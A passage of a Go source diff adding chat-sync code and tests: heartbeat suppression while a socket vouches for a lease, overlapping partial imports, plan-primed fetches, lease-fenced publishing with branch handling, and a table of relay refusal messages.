sl.settle(1) + t.Cleanup(func() { cancel(); <-done }) + return &heldRig{rig: r, b: b, sl: sl} +} + +// ticks lets n heartbeat intervals pass, each fully handled before the next. +func (h *heldRig) ticks(n int) { + for range n { + h.sl.advance(directory.HeartbeatEvery) + h.sl.settle(1) + } +} + +// beatsReach waits for the directory to have heard n heartbeats, and fails if it +// does not within a real second. +func (h *heldRig) beatsReach(n int32) { + h.t.Helper() + for deadline := time.Now().Add(time.Second); h.dirA.beats.Load() < n; { + if time.Now().After(deadline) { + h.t.Fatalf("%d heartbeats, want %d", h.dirA.beats.Load(), n) + } + time.Sleep(time.Millisecond) + } +} + +// A vouching socket is the proof of life: a chat idle for hours sends nothing. +func TestNoBeatsWhileSocketVouches(t *testing.T) { + h := runHeld(t, newFakeLiveness(true)) + h.ticks(240) // two idle hours + if got := h.dirA.beats.Load(); got != 0 { + t.Fatalf("%d heartbeats in two idle hours with the socket up, want none", got) + } +} + +// The moment the socket stops vouching, the lease is on its stored expiry +// alone, so a beat goes at once; the next ticks keep it alive while it is down. +func TestBeatsResumeWhenSocketDown(t *testing.T) { + l := newFakeLiveness(true) + h := runHeld(t, l) + h.ticks(3) + l.flip(false) + h.beatsReach(1) // before any tick: the change is answered at once + h.ticks(2) + if got := h.dirA.beats.Load(); got != 3 { + t.Fatalf("%d heartbeats after the socket went down and two ticks, want 3", got) + } + l.flip(true) + h.ticks(3) + if got := h.dirA.beats.Load(); got != 3 { + t.Fatalf("%d heartbeats, want none more once the socket vouches again", got) + } +} + +// A change in the pending count is a fact only a beat carries, so one goes at +// the next tick even with the socket healthy, and only one. +func TestBeatOnPendingChange(t *testing.T) { + h := runHeld(t, newFakeLiveness(true)) + h.ticks(2) + // The flush loop is held still, so the noted turns stay pending. + h.b.flushMu.Lock() + t.Cleanup(h.b.flushMu.Unlock) + note(h.b, h.rig.seal(map[string]string{"a": "1"}), h.rig.seal(map[string]string{"a": "2"})) + h.ticks(3) + if got := h.dirA.beats.Load(); got != 1 { + t.Fatalf("%d heartbeats, want exactly the one that carried the pending count", got) + } + if got := h.head(cellID).Lease.Pending; got != 2 { + t.Fatalf("directory shows %d pending, want 2", got) + } +} + +// A relay that never said it vouches is an old one: beat as always. +func TestBeatsOnRelayWithoutVouching(t *testing.T) { + h := runHeld(t, newFakeLiveness(false)) + h.ticks(4) + if got := h.dirA.beats.Load(); got != 4 { + t.Fatalf("%d heartbeats in 4 ticks without vouching, want 4", got) + } +} + +// vouchingStream is a socket that vouches, speaks once and then stays quiet. +type vouchingStream struct { + spoke bool + done chan struct{} +} + +func (s *vouchingStream) Next(ctx context.Context) (dirwatch.Frame, error) { + if !s.spoke { + s.spoke = true + return dirwatch.Frame{Version: 1}, nil + } + select { + case <-ctx.Done(): + case <-s.done: + } + return dirwatch.Frame{}, ctx.Err() +} +func (s *vouchingStream) Ping(context.Context) error { return nil } +func (s *vouchingStream) Vouching() bool { return true } +func (s *vouchingStream) Close() { close(s.done) } + +func vouchingDial(context.Context, []directory.Hold) (dirwatch.Stream, error) { + return &vouchingStream{done: make(chan struct{})}, nil +} + +// The socket names at most as many holds as it is allowed; a chat past the cap +// is never vouched for, so its heartbeats go on. +func TestBeatsForCellsBeyondMaxHolds(t *testing.T) { + holder := dirwatch.Hold("beyond-max-holds", 1, vouchingDial) + first := holder.Take(directory.Hold{Cell: "someone-else", Fence: 1}) // takes the only place + defer first.Release() + h := runHeld(t, holdSocket{holder}) + h.ticks(4) + if got := h.dirA.beats.Load(); got != 4 { + t.Fatalf("%d heartbeats in 4 ticks past the cap, want 4", got) + } +} + +// The same socket with room left vouches, and the heartbeats stop. +func TestBeatsStopForCellsWithinMaxHolds(t *testing.T) { + holder := dirwatch.Hold("within-max-holds", 2, vouchingDial) + h := runHeld(t, holdSocket{holder}) + probe := holder.Take(directory.Hold{Cell: cellID, Fence: h.drv.Fence}) + defer probe.Release() + for deadline := time.Now().Add(time.Second); !probe.Healthy(); time.Sleep(time.Millisecond) { + if time.Now().After(deadline) { + t.Fatal("the socket never vouched") + } + } + before := h.dirA.beats.Load() + h.ticks(10) + if got := h.dirA.beats.Load() - before; got != 0 { + t.Fatalf("%d heartbeats with the socket vouching, want none", got) + } +} + +// holdSocket adapts the holder as the wiring in syncsetup does. +type holdSocket struct { + h *dirwatch.Holder[directory.Hold] +} + +func (s holdSocket) Keep(cell string, fence uint64) Keeping { + return s.h.Take(directory.Hold{Cell: cell, Fence: fence}) +} diff --git a/internal/cellsync/overlap.go b/internal/cellsync/overlap.go new file mode 100644 index 0000000000..1dfb8d96b1 --- /dev/null +++ b/internal/cellsync/overlap.go @@ -0,0 +1,62 @@ +package cellsync + +import ( + "context" + "sync" + "sync/atomic" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// overlap imports whole frames while the next ones still download (contract +// §22.12). A partial import stores what the head can reach so far and deletes +// nothing, so the primed import that follows the last frame still sees every +// frame-mate and is the one place extras are deleted. A partial import that +// fails only costs the overlap: the final import does all of its work. +type overlap struct { + kick chan struct{} + done sync.WaitGroup + frames atomic.Int64 +} + +// startOverlap starts the importer. The caller reports each landed frame with +// landed and calls finish once, after the last one. +func startOverlap(ctx context.Context, eng Engine, c cell.Cell, head, inbox string) *overlap { + o := &overlap{kick: make(chan struct{}, 1)} + o.done.Add(1) + go func() { + defer o.done.Done() + for range o.kick { + if _, err := eng.ImportPartial(ctx, c, head, inbox); err != nil { + o.drain() + return + } + } + }() + return o +} + +// landed counts a frame and asks for an import every ImportEvery of them. The +// kick channel holds one request, so frames that land during an import share +// the next one. +func (o *overlap) landed() { + if o.frames.Add(1)%ImportEvery != 0 { + return + } + select { + case o.kick <- struct{}{}: + default: + } +} + +// drain ignores the requests that follow a failed import. +func (o *overlap) drain() { + for range o.kick { + } +} + +// finish waits for the import in flight; no import starts after it. +func (o *overlap) finish() { + close(o.kick) + o.done.Wait() +} diff --git a/internal/cellsync/overlap_test.go b/internal/cellsync/overlap_test.go new file mode 100644 index 0000000000..99e898bedd --- /dev/null +++ b/internal/cellsync/overlap_test.go @@ -0,0 +1,88 @@ +package cellsync + +import ( + "context" + "os" + "path/filepath" + "reflect" + "sync" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// gatedEngine counts partial imports and holds each one until released, so a +// test can land frames while an import is in flight. +type gatedEngine struct { + *FakeEngine + mu sync.Mutex + partial int + gate chan struct{} +} + +func (g *gatedEngine) ImportPartial(ctx context.Context, c cell.Cell, head, inbox string) (int, error) { + g.mu.Lock() + g.partial++ + g.mu.Unlock() + <-g.gate + return g.FakeEngine.ImportPartial(ctx, c, head, inbox) +} + +func (g *gatedEngine) imports() int { + g.mu.Lock() + defer g.mu.Unlock() + return g.partial +} + +// Frames keep landing while an import runs: the landing path never waits on +// the importer, the requests made meanwhile share one more import, and finish +// waits for the one in flight. +func TestOverlapNeverBlocksLandingFrames(t *testing.T) { + eng := &gatedEngine{FakeEngine: NewFakeEngine(t.TempDir()), gate: make(chan struct{})} + lap := startOverlap(context.Background(), eng, cell.Cell{ID: cellID, Root: t.TempDir()}, "head", t.TempDir()) + for i := 0; i < 5*ImportEvery; i++ { + lap.landed() // would deadlock here if landing waited for the gated import + } + close(eng.gate) + lap.finish() + if n := eng.imports(); n < 1 || n > 5 { + t.Fatalf("partial imports = %d, want 1 to 5 for %d landed frames", n, 5*ImportEvery) + } +} + +// A partial import stores what the head reaches and deletes nothing else: a +// file whose parent has not landed stays for the next call. +func TestPartialImportKeepsWhatItCannotYetReach(t *testing.T) { + r := newRig(t) + head := r.publishFirst(map[string]string{"a": "one", "b": "two"}) + f, c := primedFetcherFor(t, r.mem, r.dir.For(devB)) + inbox := t.TempDir() + stray := filepath.Join(inbox, "ffff") + if err := os.WriteFile(stray, []byte("x"), 0o600); err != nil { + t.Fatal(err) + } + if _, err := f.Engine.ImportPartial(context.Background(), c, head, inbox); err != nil { + t.Fatal(err) + } + if _, err := os.Stat(stray); err != nil { + t.Fatalf("a partial import removed a file it did not take: %v", err) + } +} + +// The take completes whole when frames land in several windows, and the +// materialized tree is the head's. +func TestPrimedTakeWithOverlapCompletes(t *testing.T) { + r := newRig(t) + files := map[string]string{} + for _, n := range []string{"a", "b", "c", "d", "e", "f"} { + files[n] = n + n + } + head := r.publishFirst(files) + f, c := primedFetcherFor(t, r.mem, r.dir.For(devB)) + if err := f.Fetch(context.Background(), c, head); err != nil { + t.Fatal(err) + } + if got := readFiles(t, c.Root); !reflect.DeepEqual(got, files) { + t.Fatalf("materialized %v, want %v", got, files) + } +} diff --git a/internal/cellsync/prime_test.go b/internal/cellsync/prime_test.go new file mode 100644 index 0000000000..b8055b8837 --- /dev/null +++ b/internal/cellsync/prime_test.go @@ -0,0 +1,171 @@ +package cellsync + +import ( + "context" + "reflect" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/directory" +) + +// primedFetcherFor is a second device's fetcher that can read the plan off the +// directory record, over store, with its own engine. +func primedFetcherFor(t *testing.T, store blobstore.Store, dir directory.Client) (*Fetcher, cell.Cell) { + t.Helper() + f, c := fetcherFor(t, store) + f.Dir = dir + return f, c +} + +// A take whose record names frames primes from them: one get per frame, none +// per object, and the head materializes whole. +func TestFetchPrimesFromThePlan(t *testing.T) { + r := newRig(t) + head := r.publishFirst(map[string]string{"a": "one", "sub/b": "two", "c": "three"}) + plan := r.head(cellID).Frames + if len(plan) == 0 { + t.Fatal("publish recorded no plan") + } + count := blobstore.Counting{Inner: r.mem, C: &blobstore.Counters{}} + f, c := primedFetcherFor(t, count, r.dir.For(devB)) + if err := f.Fetch(context.Background(), c, head); err != nil { + t.Fatal(err) + } + want := map[string]string{"a": "one", "sub/b": "two", "c": "three"} + if got := readFiles(t, c.Root); !reflect.DeepEqual(got, want) { + t.Fatalf("materialized %v, want %v", got, want) + } + if got := count.C.Gets.Load(); got != int64(len(plan)) { + t.Fatalf("gets = %d, want one per plan frame (%d)", got, len(plan)) + } +} + +// frameCounter counts the whole-frame gets a take makes. +type frameCounter struct { + blobstore.Store + frames int +} + +func (s *frameCounter) GetFrame(ctx context.Context, id string) ([]byte, error) { + s.frames++ + return s.Store.GetFrame(ctx, id) +} + +// A device that already exchanged objects with the relay is warm: the plan names +// the chat's whole upload history, so it is not fetched for a one-file change. +// The want loop brings the delta, and the take still completes. +func TestWarmTakeSkipsThePlan(t *testing.T) { + r := newRig(t) + first := r.publishFirst(map[string]string{"a": "one", "b": "two"}) + store := &frameCounter{Store: r.mem} + f, c := primedFetcherFor(t, store, r.dir.For(devB)) + if err := f.Fetch(context.Background(), c, first); err != nil { + t.Fatal(err) + } + if store.frames == 0 { + t.Fatal("the cold take did not prime from the plan") + } + cold := store.frames + head := r.seal(map[string]string{"a": "edited", "b": "two"}) + if err := r.pub.Publish(context.Background(), r.drv, head, r.info()); err != nil { + t.Fatal(err) + } + if err := f.Fetch(context.Background(), c, head); err != nil { + t.Fatal(err) + } + if store.frames != cold { + t.Fatalf("warm take fetched %d frames, want none beyond the cold take's %d", store.frames-cold, cold) + } + if got := readFiles(t, c.Root); !reflect.DeepEqual(got, map[string]string{"a": "edited", "b": "two"}) { + t.Fatalf("materialized %v", got) + } +} + +// A plan that lies — it names a frame the store never held — costs the take +// nothing but the miss: the want loop completes the head anyway. +func TestFetchSurvivesALyingPlan(t *testing.T) { + r := newRig(t) + head := r.publishFirst(map[string]string{"a": "one", "b": "two"}) + lie := append([]string{otherHead}, r.head(cellID).Frames...) + r.takeOver() // device B holds the lease, so its word moves the record + v := r.head(cellID) + if _, err := r.dir.For(devB).Publish(context.Background(), cellID, directory.Publish{ + Fence: v.Lease.Fence, OldHead: head, Head: otherHead, Class: "chat", Frames: lie, + }); err != nil { + t.Fatal(err) + } + f, c := primedFetcherFor(t, r.mem, r.dir.For(devB)) + if err := f.Fetch(context.Background(), c, head); err != nil { + t.Fatal(err) + } + want := map[string]string{"a": "one", "b": "two"} + if got := readFiles(t, c.Root); !reflect.DeepEqual(got, want) { + t.Fatalf("materialized %v, want %v", got, want) + } +} + +// A frame packs one publish's objects, and later turns orphan some of them: +// priming delivers frame-mates the head does not want, and ImportPrimed +// deletes them instead of failing the take. +func TestFetchDropsFrameMatesTheHeadOrphaned(t *testing.T) { + r := newRig(t) + r.publishFirst(map[string]string{"a": "one", "b": "two"}) + head := r.seal(map[string]string{"a": "edited", "b": "two"}) + if err := r.pub.Publish(context.Background(), r.drv, head, r.info()); err != nil { + t.Fatal(err) + } + f, c := primedFetcherFor(t, r.mem, r.dir.For(devB)) + if err := f.Fetch(context.Background(), c, head); err != nil { + t.Fatal(err) + } + want := map[string]string{"a": "edited", "b": "two"} + if got := readFiles(t, c.Root); !reflect.DeepEqual(got, want) { + t.Fatalf("materialized %v, want %v", got, want) + } +} + +// A fetcher without a directory — the rotation path — runs the want loop +// exactly as before plans existed. +func TestFetchWithoutADirectoryLoops(t *testing.T) { + r := newRig(t) + head := r.publishFirst(map[string]string{"a": "one"}) + f, c := fetcherFor(t, r.mem) + if err := f.Fetch(context.Background(), c, head); err != nil { + t.Fatal(err) + } + if got := readFiles(t, c.Root); !reflect.DeepEqual(got, map[string]string{"a": "one"}) { + t.Fatalf("materialized %v", got) + } +} + +// A publish records the frames it uploaded, and the next publish extends the +// list rather than replacing it. +func TestPublishRecordsAndExtendsThePlan(t *testing.T) { + r := newRig(t) + r.publishFirst(map[string]string{"a": "one"}) + first := r.head(cellID).Frames + if len(first) != r.puts() { + t.Fatalf("plan = %d frames, want the %d put", len(first), r.puts()) + } + head := r.seal(map[string]string{"a": "one", "b": "two"}) + if err := r.pub.Publish(context.Background(), r.drv, head, r.info()); err != nil { + t.Fatal(err) + } + plan := r.head(cellID).Frames + if len(plan) <= len(first) { + t.Fatalf("plan after two publishes = %d frames, want more than %d", len(plan), len(first)) + } + for _, id := range first { + found := false + for _, got := range plan { + if got == id { + found = true + } + } + if !found { + t.Fatalf("plan %v lost the first publish's frame %s", plan, id) + } + } +} diff --git a/internal/cellsync/publish.go b/internal/cellsync/publish.go new file mode 100644 index 0000000000..6366879717 --- /dev/null +++ b/internal/cellsync/publish.go @@ -0,0 +1,193 @@ +package cellsync + +import ( + "context" + "errors" + "fmt" + "os" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/directory" +) + +// ErrSuperseded means another device took the lease while this one was +// publishing: the head did not move and the caller must branch (L7, L12). +var ErrSuperseded = fmt.Errorf("cellsync: another device continued this chat: %w", directory.ErrFenceStale) + +// Publisher makes turns durable: objects into the store first, the head in the +// directory last. Dir is already bound to this device. +type Publisher struct { + Engine Engine + Store blobstore.Store + Dir directory.Client +} + +// Driving is the state of one cell this device is driving. +type Driving struct { + Cell cell.Cell + Fence uint64 // 0 = no cell record yet + Head string // last durable head, "" before the first publish + // Frames is the plan (contract §22.2): the frames this device says hold the + // current head's closure, replaced at the record on every publish. It may + // name any subset of them; takes treat it as a hint, never as the truth. + Frames []string + // Remote is the directory id being driven when it is not Cell.ID: after a + // branch the local folder is unchanged but the directory record is new. + Remote string +} + +// ID is the directory id of the cell being driven. +func (d Driving) ID() string { + if d.Remote != "" { + return d.Remote + } + return d.Cell.ID +} + +// PublishInfo is what a publish tells the directory about the cell. +type PublishInfo struct { + Class, Title string + Size uint64 + Pending uint32 + Keys map[string]map[string]string +} + +// Publish uploads what head needs and then moves the directory head. Any store +// or directory error leaves d unchanged, and the head never moves before every +// object it names is in the store. +func (p *Publisher) Publish(ctx context.Context, d *Driving, head string, in PublishInfo) error { + _, err := p.publish(ctx, d, head, in) + return err +} + +// publish is Publish that also reports what was uploaded. +func (p *Publisher) publish(ctx context.Context, d *Driving, head string, in PublishInfo) (Export, error) { + ex, frames, err := p.uploadPlan(ctx, d.Cell, head) + if err != nil { + return Export{}, err + } + frames = unionFrames(d.Frames, frames) + fence, err := p.advance(ctx, *d, head, in, frames) + if err != nil { + return ex, err + } + d.Fence, d.Head, d.Frames = fence, head, frames + return ex, nil +} + +// unionFrames joins the plan so far with this publish's frames, first-seen +// order, no id twice: a frame holds the closure of the head it was uploaded +// for, and every head since still names it. +func unionFrames(plan, uploaded []string) []string { + seen := make(map[string]bool, len(plan)+len(uploaded)) + out := make([]string, 0, len(plan)+len(uploaded)) + for _, id := range append(plan, uploaded...) { + if !seen[id] { + seen[id] = true + out = append(out, id) + } + } + return out +} + +// Upload exports what the store lacks for head, puts every frame, and only +// then records them as published. Objects are content-addressed, so what a +// refused publish uploaded is reused by whatever comes next. +func (p *Publisher) Upload(ctx context.Context, c cell.Cell, head string) (Export, error) { + ex, _, err := p.uploadPlan(ctx, c, head) + return ex, err +} + +// uploadPlan is Upload that also answers the ids of the frames it put, which +// is what the plan for the head names (contract §22.2). Frames skipHeld +// dropped are not named: their ids are whatever earlier upload carried them, +// which this publish does not know, and the take's want loop covers them. +func (p *Publisher) uploadPlan(ctx context.Context, c cell.Cell, head string) (Export, []string, error) { + ex, err := p.Engine.Export(ctx, c, head) + if err != nil { + return Export{}, nil, err + } + ex = p.skipHeld(ctx, c, ex) + ids := make([]string, 0, len(ex.Frames)) + paths := make([]string, len(ex.Frames)) + for i, f := range ex.Frames { + id, err := p.put(ctx, f) + if err != nil { + return Export{}, nil, err + } + ids = append(ids, id) + paths[i] = f.Path + } + if len(paths) == 0 { + return ex, ids, nil + } + return ex, ids, p.Engine.Published(ctx, c, paths) +} + +// put stores one frame and answers the id the store named it, which is what +// the plan records: the store's own name for the frame, not a local guess. +func (p *Publisher) put(ctx context.Context, f FrameFile) (string, error) { + frame, err := os.ReadFile(f.Path) + if err != nil { + return "", err + } + return p.Store.PutFrame(ctx, frame) +} + +// advance moves the directory head and answers the fence now held. +func (p *Publisher) advance(ctx context.Context, d Driving, head string, in PublishInfo, frames []string) (uint64, error) { + if d.Fence != 0 { + return p.move(ctx, d, head, in, frames) + } + fence, err := p.create(ctx, d, head, in, frames) + if errors.Is(err, directory.ErrExists) { + return p.resume(ctx, d, head, in, frames, err) + } + return fence, err +} + +// move publishes head on the lease d already holds. +func (p *Publisher) move(ctx context.Context, d Driving, head string, in PublishInfo, frames []string) (uint64, error) { + _, err := p.Dir.Publish(ctx, d.ID(), directory.Publish{ + Fence: d.Fence, OldHead: d.Head, Head: head, + Size: in.Size, Class: in.Class, Title: in.Title, Pending: in.Pending, + Frames: frames, + }) + return d.Fence, refusal(err) +} + +// resume finishes a create that already happened. A create the relay committed +// but whose answer never arrived (the drive was closed while it was in flight, +// or the connection dropped) leaves this device without a fence for a cell it +// holds, and creating again is refused as "exists" for good. Taking the lease +// back names the fence and the head the relay has, and the publish carries on +// from there. A cell somebody else holds stays the refusal it was: created is +// the original error. +func (p *Publisher) resume(ctx context.Context, d Driving, head string, in PublishInfo, frames []string, created error) (uint64, error) { + v, err := p.Dir.Acquire(ctx, d.ID(), directory.AcquireOpts{}) + if err != nil { + return 0, created + } + d.Fence, d.Head = v.Cell.Lease.Fence, v.Cell.Head + if d.Head == head { + return d.Fence, nil + } + return p.move(ctx, d, head, in, frames) +} + +func (p *Publisher) create(ctx context.Context, d Driving, head string, in PublishInfo, frames []string) (uint64, error) { + v, err := p.Dir.Create(ctx, d.ID(), directory.CellInit{ + Head: head, Class: in.Class, Title: in.Title, Size: in.Size, Keys: in.Keys, + Frames: frames, + }) + return v.Cell.Lease.Fence, err +} + +// refusal names a stale fence as the person-facing ErrSuperseded. +func refusal(err error) error { + if errors.Is(err, directory.ErrFenceStale) { + return ErrSuperseded + } + return err +} diff --git a/internal/cellsync/publish_test.go b/internal/cellsync/publish_test.go new file mode 100644 index 0000000000..03461cce5c --- /dev/null +++ b/internal/cellsync/publish_test.go @@ -0,0 +1,226 @@ +package cellsync + +import ( + "context" + "errors" + "strings" + "sync" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/directory" +) + +func TestPublishCreatesThenAdvances(t *testing.T) { + r := newRig(t) + ctx := context.Background() + h1 := r.publishFirst(map[string]string{"a": "one"}) + if got := r.head(cellID); got.Head != h1 || got.Lease.Fence != 1 || r.drv.Fence != 1 || r.drv.Head != h1 { + t.Fatalf("after create: cell %+v, driving %+v", got, r.drv) + } + before := r.puts() + h2 := r.seal(map[string]string{"a": "one", "b": "two"}) + if err := r.pub.Publish(ctx, r.drv, h2, r.info()); err != nil { + t.Fatal(err) + } + if got := r.head(cellID); got.Head != h2 || r.drv.Head != h2 { + t.Fatalf("after advance: cell %+v, driving %+v", got, r.drv) + } + if r.puts() != before+1 { + t.Fatalf("second publish sent %d frames, want 1", r.puts()-before) + } +} + +func TestPartialUploadNeverMovesHead(t *testing.T) { + r := newRig(t) + ctx := context.Background() + h1 := r.publishFirst(map[string]string{"a": "one"}) + durable := r.head(cellID).DurableAt + + r.engA.MaxObjects = 1 + h2 := r.seal(map[string]string{"a": "one", "b": "two", "c": "three"}) + r.mem.FailAfter(1, blobstore.ErrUnreachable) + if err := r.pub.Publish(ctx, r.drv, h2, r.info()); !errors.Is(err, blobstore.ErrUnreachable) { + t.Fatalf("publish = %v, want the store error", err) + } + if got := r.head(cellID); got.Head != h1 || got.DurableAt != durable { + t.Fatalf("head moved after a partial upload: %+v", got) + } + if r.drv.Head != h1 { + t.Fatalf("driving changed on failure: %+v", r.drv) + } + if err := r.pub.Publish(ctx, r.drv, h2, r.info()); err != nil { + t.Fatalf("retry: %v", err) + } + if got := r.head(cellID); got.Head != h2 { + t.Fatalf("retry left head at %s", got.Head) + } +} + +func TestRefusedAfterPartialUploadLeavesNoOrphanHead(t *testing.T) { + r := newRig(t) + ctx := context.Background() + h1 := r.publishFirst(map[string]string{"a": "one"}) + r.engA.MaxObjects = 1 + h2 := r.seal(map[string]string{"a": "one", "b": "two", "c": "three"}) + + r.mem.FailAfter(1, blobstore.ErrUnreachable) // frame 1 lands, frame 2 fails + if err := r.pub.Publish(ctx, r.drv, h2, r.info()); err == nil { + t.Fatal("the partial upload succeeded") + } + r.takeOver() + r.bPublishes(h1) + + err := r.pub.Publish(ctx, r.drv, h2, r.info()) + if !errors.Is(err, ErrSuperseded) { + t.Fatalf("publish = %v, want ErrSuperseded", err) + } + if got := r.head(cellID); got.Head != otherHead || got.Lease.Device != devB { + t.Fatalf("directory after refusal: %+v", got) + } + r.requireHeld(h2) + + sent := r.puts() + id, err := Brancher{Dir: r.dirA, Publisher: r.pub, NewID: r.newID}.Branch(ctx, r.drv, h2, 1, r.info()) + if err != nil { + t.Fatal(err) + } + if _, err := r.pub.Upload(ctx, r.drv.Cell, h2); err != nil || r.puts() != sent { + t.Fatalf("the branch re-sent objects: %d puts, err %v", r.puts()-sent, err) + } + if got := r.head(id); got.Head != h2 || got.ParentCell != cellID { + t.Fatalf("branch %+v", got) + } +} + +// requireHeld fails unless the store holds every object head needs. +func (r *rig) requireHeld(head string) { + r.t.Helper() + rids, err := r.engA.Want(context.Background(), r.cellA, head) + if err != nil || len(rids) != 0 { + r.t.Fatalf("engine is incomplete: %v %v", rids, err) + } + var all []string + for _, op := range r.mem.Log() { + all = append(all, op.RIDs...) + } + have, err := r.mem.Has(context.Background(), all) + if err != nil { + r.t.Fatal(err) + } + for i, ok := range have { + if !ok { + r.t.Fatalf("object %s missing from the store", all[i]) + } + } +} + +func TestPublishSupersededIsErrSuperseded(t *testing.T) { + r := newRig(t) + h1 := r.publishFirst(map[string]string{"a": "one"}) + r.takeOver() + h2 := r.seal(map[string]string{"a": "two"}) + err := r.pub.Publish(context.Background(), r.drv, h2, r.info()) + if !errors.Is(err, ErrSuperseded) || !errors.Is(err, directory.ErrFenceStale) { + t.Fatalf("publish = %v", err) + } + if r.drv.Head != h1 || r.head(cellID).Head != h1 { + t.Fatalf("a superseded publish moved a head: %+v", r.drv) + } +} + +// checkRaceOutcome accepts the two orders the race can end in, and nothing +// else. A publish renews its own lease, so when the owner's publish lands first +// the other device's plain take is refused and the head moved; when the take +// lands first the owner's publish is superseded or had already gone up. +func checkRaceOutcome(t *testing.T, run int, r *rig, h1, h2 string, pubErr, takeErr error) { + t.Helper() + got := r.head(cellID) + if errors.Is(takeErr, directory.ErrLeaseHeld) { + if pubErr != nil || got.Head != h2 || got.Lease.Device != devA { + t.Fatalf("run %d: owner renewed first, yet publish %v left %+v", run, pubErr, got) + } + return + } + if takeErr != nil || got.Lease.Device != devB || got.Lease.Fence != 2 { + t.Fatalf("run %d: B did not end up holding the lease: %v %+v", run, takeErr, got.Lease) + } + if pubErr == nil && got.Head != h2 || pubErr != nil && (!errors.Is(pubErr, ErrSuperseded) || got.Head != h1) { + t.Fatalf("run %d: publish %v left head %s", run, pubErr, got.Head) + } +} + +func TestTwoDevicesRaceAfterLeaseExpiry(t *testing.T) { + for i := 0; i < 40; i++ { + r := newRig(t) + h1 := r.publishFirst(map[string]string{"a": "one"}) + h2 := r.seal(map[string]string{"a": "two"}) + r.clock.Advance(directory.LeaseTTL + time.Second) + + var pubErr, takeErr error + var wg sync.WaitGroup + wg.Add(2) + go func() { defer wg.Done(); pubErr = r.pub.Publish(context.Background(), r.drv, h2, r.info()) }() + go func() { + defer wg.Done() + _, takeErr = r.dir.For(devB).Acquire(context.Background(), cellID, directory.AcquireOpts{}) + }() + wg.Wait() + + checkRaceOutcome(t, i, r, h1, h2, pubErr, takeErr) + } +} + +// A device that took a chat holds objects the relay already has. Publishing a +// small edit on top of them must send the edit alone, not the chat again. +func TestPublishAfterTakeSendsOnlyTheEdit(t *testing.T) { + r := newRig(t) + ctx := context.Background() + big := strings.Repeat("x", 64<<10) + head := r.publishFirst(map[string]string{"big": big}) + + f, c := fetcherFor(t, r.mem) + if err := f.Fetch(ctx, c, head); err != nil { + t.Fatal(err) + } + engB := f.Engine.(*FakeEngine) + edited := engB.Seal(c, map[string]string{"big": big, "note": "edit"}) + + var counters blobstore.Counters + pub := &Publisher{Engine: engB, Store: blobstore.Counting{Inner: r.mem, C: &counters}, Dir: r.dirA} + if _, err := pub.Upload(ctx, c, edited); err != nil { + t.Fatal(err) + } + if got := counters.ObjectsUp.Load(); got != 2 { + t.Fatalf("sent %d objects, want the edit's blob and its snapshot", got) + } + if got := counters.BytesUp.Load(); got >= int64(len(big)) { + t.Fatalf("sent %d bytes, the size of the chat taken (%d) or more", got, len(big)) + } +} + +// A create the relay committed whose answer was lost (the drive was closed +// while it was in flight) must not leave the chat unable to publish: the next +// publish takes the lease it already holds and carries on. +func TestPublishAfterACreateWhoseAnswerWasLost(t *testing.T) { + r := newRig(t) + h1 := r.seal(map[string]string{"a": "one"}) + r.dirA.lose = 1 + if err := r.pub.Publish(context.Background(), r.drv, h1, r.info()); !errors.Is(err, context.Canceled) { + t.Fatalf("first publish = %v, want the lost answer", err) + } + if r.drv.Fence != 0 { + t.Fatalf("a publish with no answer claimed fence %d", r.drv.Fence) + } + if err := r.pub.Publish(context.Background(), r.drv, h1, r.info()); err != nil { + t.Fatalf("publish after the lost answer: %v", err) + } + if got := r.head(cellID); got.Head != h1 || r.drv.Fence != got.Lease.Fence || r.drv.Fence == 0 { + t.Fatalf("cell %+v, driving %+v", got, r.drv) + } + h2 := r.seal(map[string]string{"a": "one", "b": "two"}) + if err := r.pub.Publish(context.Background(), r.drv, h2, r.info()); err != nil { + t.Fatalf("the publish after that: %v", err) + } +} diff --git a/internal/cellsync/refusal.go b/internal/cellsync/refusal.go new file mode 100644 index 0000000000..6b39638104 --- /dev/null +++ b/internal/cellsync/refusal.go @@ -0,0 +1,76 @@ +package cellsync + +import ( + "errors" + "time" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/chatlist" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// MaxHalt is the longest a wait may be, and how long a halted chat waits: a +// refusal that only a person can cure is not retried, and a Retry-After is +// never trusted past an hour, so a wrong clock on the relay cannot silence sync. +const MaxHalt = time.Hour + +// Refusal is one way the relay says no: the sentinel the wire names it by, the +// one plain sentence the person reads, and how the client carries on. The table +// below is the only place these three meet, so a new refusal is one row and no +// call site learns of it. +type Refusal struct { + Is error // the sentinel the wire returns + Say func(error) string // what the person is told; it may read the refusal, for a number the relay named + Quiet time.Duration // how long the refusal must last before the person hears of it + Flat bool // retry every interval: only time cures it, so backing off adds nothing + Halts bool // retrying is pointless until something changes, so stop until Freed or close +} + +// refusals is listed from most to least final. A refusal that time cures +// within minutes stays quiet for a few of them, because a burst that ended +// before anyone could act is noise; one that only the person can cure is +// said at once. +var refusals = []Refusal{ + {Is: blobstore.ErrFull, Say: fullLine, Halts: true}, + {Is: wireauth.ErrRevoked, Say: said(chatlist.Removed), Halts: true}, + {Is: wireauth.ErrGone, Say: said(chatlist.ReplacedGone), Halts: true}, + {Is: wireauth.ErrRotated, Say: said(chatlist.Replaced), Halts: true}, + {Is: wireauth.ErrSkew, Say: said(chatlist.ClockOff), Flat: true}, + {Is: wireauth.ErrTooManyIdentities, Say: tooManyLine}, + {Is: wireauth.ErrRateLimited, Say: said(chatlist.SlowDown), Quiet: 3 * time.Minute}, +} + +// said is the Say of a refusal whose sentence never varies. +func said(line string) func(error) string { return func(error) string { return line } } + +// fullLine names the ceiling the relay told us, when it told us one. +func fullLine(err error) string { return chatlist.RelayFull(blobstore.LimitOf(err)) } + +// tooManyLine says when the relay's day for this network frees up, when it told us. +func tooManyLine(err error) string { return chatlist.TooManyNewIn(wireauth.After(err)) } + +// RefusalOf finds the row err is, and false for a failure that is not a +// refusal (an unreachable relay, say), which is retried on the plain backoff +// and never shown. +func RefusalOf(err error) (Refusal, bool) { + for _, r := range refusals { + if errors.Is(err, r.Is) { + return r, true + } + 